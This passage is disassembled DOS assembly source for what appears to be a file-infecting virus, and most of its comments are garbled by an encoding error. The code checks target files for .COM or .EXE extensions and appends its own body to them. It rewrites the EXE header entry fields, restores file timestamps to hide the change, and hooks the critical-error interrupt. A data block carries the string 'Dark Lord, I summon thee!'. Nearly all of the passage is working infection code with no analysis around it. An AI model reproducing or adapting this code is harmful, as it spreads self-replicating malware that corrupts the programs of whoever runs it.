int 0ECh ; <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 18h <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
jnc loc_18 ; Jump if carry=0
|
|||
|
loc_17:
|
|||
|
jmp loc_27 ; (03E6)
|
|||
|
loc_18:
|
|||
|
xor cx,cx ; Zero register
|
|||
|
xor dx,dx ; Zero register
|
|||
|
cmp byte ptr cs:data_21e,2 ; (6C11:04B8=0)
|
|||
|
jne loc_19 ; Jump if not equal
|
|||
|
cmp word ptr [di+1],4000h
|
|||
|
ja loc_17 ; Jump if above
|
|||
|
dec cx
|
|||
|
mov dx,0C0h
|
|||
|
sub dx,499h
|
|||
|
loc_19:
|
|||
|
mov ax,4202h ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> FP <20> <20><><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
loc_20:
|
|||
|
int 0ECh
|
|||
|
test ax,0Fh
|
|||
|
jz loc_21 ; Jump if zero
|
|||
|
mov cx,dx ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> 16
|
|||
|
mov dx,ax
|
|||
|
add dx,10h
|
|||
|
adc cx,0
|
|||
|
and dl,0F0h
|
|||
|
mov ax,4200h ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
jmp short loc_20 ; (0339)
|
|||
|
loc_21:
|
|||
|
call sub_1 ; (0126)
|
|||
|
jz loc_23 ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> EXE
|
|||
|
or dx,dx ; Zero ?
|
|||
|
jnz loc_17 ; Jump if not zero
|
|||
|
cmp ax,400h
|
|||
|
jae loc_22 ; Jump if above or =
|
|||
|
jmp loc_27 ; (03E6)
|
|||
|
loc_22:
|
|||
|
cmp ax,0FA00h
|
|||
|
ja loc_27 ; Jump if above
|
|||
|
loc_23:
|
|||
|
mov cl,4
|
|||
|
shr ax,cl ; Shift w/zeros fill
|
|||
|
mov si,ax
|
|||
|
mov cl,0Ch
|
|||
|
shl dx,cl ; Shift w/zeros fill
|
|||
|
add si,dx ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
mov ah,40h ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 399h <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
mov dx,100h
|
|||
|
mov cx,399h
|
|||
|
nop
|
|||
|
int 0ECh
|
|||
|
jc loc_27 ; Jump if carry Set
|
|||
|
call sub_1
|
|||
|
jnz loc_25 ; Jump if not zero
|
|||
|
sub si,10h
|
|||
|
sub si,cs:[di+8] ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
mov word ptr cs:[di+14h],100h
|
|||
|
mov cs:[di+16h],si
|
|||
|
mov word ptr cs:[di+10h],400h
|
|||
|
add si,44h
|
|||
|
nop
|
|||
|
mov cs:[di+0Eh],si
|
|||
|
mov ax,4202h
|
|||
|
xor cx,cx ; Zero register
|
|||
|
xor dx,dx ; Zero register
|
|||
|
int 0ECh ; <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
mov cx,200h
|
|||
|
div cx ; ax,dx rem=dx:ax/reg
|
|||
|
or dx,dx ; Zero ?
|
|||
|
jz loc_24 ; Jump if zero
|
|||
|
inc ax
|
|||
|
loc_24:
|
|||
|
mov cs:[di+2],dx ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
mov cs:[di+4],ax
|
|||
|
jmp short loc_26 ; (03D4)
|
|||
|
loc_25:
|
|||
|
push si
|
|||
|
push di
|
|||
|
push es
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
mov si,46Ch
|
|||
|
mov cx,0Bh
|
|||
|
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
|||
|
pop es
|
|||
|
pop di
|
|||
|
pop word ptr [di+0Bh]
|
|||
|
loc_26:
|
|||
|
mov ax,4200h ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> FP <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
xor cx,cx ; Zero register
|
|||
|
xor dx,dx ; Zero register
|
|||
|
int 0ECh
|
|||
|
mov ah,40h ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 16h <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
mov cx,18h
|
|||
|
mov dx,di
|
|||
|
int 0ECh
|
|||
|
loc_27: ; <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
mov ax,5700h
|
|||
|
int 0ECh
|
|||
|
mov al,1
|
|||
|
int 0ECh
|
|||
|
mov ah,3Eh ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
int 0ECh
|
|||
|
pop ds
|
|||
|
pop di
|
|||
|
pop si
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop ax
|
|||
|
retn
|
|||
|
sub_4 endp
|
|||
|
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; SUBROUTINE
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
sub_5 proc near ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> INT 24H
|
|||
|
push ax
|
|||
|
push dx
|
|||
|
push ds
|
|||
|
mov ax,2524h
|
|||
|
mov dx,cs:data_17e ; (6C11:0499=0)
|
|||
|
mov ds,cs:data_18e ; (6C11:049B=0)
|
|||
|
pop ds
|
|||
|
pop dx
|
|||
|
pop ax
|
|||
|
retn
|
|||
|
sub_5 endp
|
|||
|
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; SUBROUTINE
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
sub_6 proc near ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
push ax
|
|||
|
push es
|
|||
|
push di
|
|||
|
push bx
|
|||
|
mov di,dx
|
|||
|
push ds
|
|||
|
pop es
|
|||
|
mov al,0
|
|||
|
mov cx,40h ; <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
|
|||
|
mov ax,[di-3]
|
|||
|
mov cx,[di-5]
|
|||
|
and ax,5F5Fh
|
|||
|
and ch,5Fh
|
|||
|
cmp ax,4D4Fh ;(COM)?
|
|||
|
jne loc_29
|
|||
|
cmp cx,432Eh
|
|||
|
je $+10h ; Jump if equal
|
|||
|
loc_28:
|
|||
|
stc ; Set carry flag
|
|||
|
jmp short $+2Fh
|
|||
|
loc_29:
|
|||
|
cmp ax,4558h
|
|||
|
jne loc_28 ; Jump if not equal
|
|||
|
cmp cx,452Eh
|
|||
|
sub_6 endp
|
|||
|
|
|||
|
|
|||
|
seg_b ends
|
|||
|
|
|||
|
|
|||
|
|
|||
|
;--------------------------------------------------------- stack_seg_c ---
|
|||
|
|
|||
|
stack_seg_c segment para stack
|
|||
|
|
|||
|
db 75h, 0F2h, 0B9h, 7, 0, 0BBh
|
|||
|
db 0FFh, 0FFh, 43h, 8Ah, 41h, 0F4h
|
|||
|
db 24h, 5Fh, 2Eh, 3Ah, 87h, 1Ah
|
|||
|
db 1, 0E1h, 0F3h, 0B0h, 1, 75h
|
|||
|
db 2, 0B0h, 2, 2Eh, 0A2h, 0B8h
|
|||
|
db 4, 0B8h, 0, 43h, 0CDh, 0ECh
|
|||
|
db 5Bh, 5Fh, 7, 58h, 0C3h, 0B0h
|
|||
|
db 3, 0CFh, 50h, 8Ch, 0C8h, 1
|
|||
|
db 6, 0Bh, 1, 58h, 0EAh, 0
|
|||
|
db 1
|
|||
|
db ' Dark Lord, I summon thee!'
|
|||
|
db 0
|
|||
|
db 4Dh, 41h, 4Eh, 4Fh, 57h, 41h
|
|||
|
db 52h
|
|||
|
db 935 dup (0)
|
|||
|
|
|||
|
stack_seg_c ends
|
|||
|
|
|||
|
|
|||
|
|
|||
|
end start
|
|||
|
|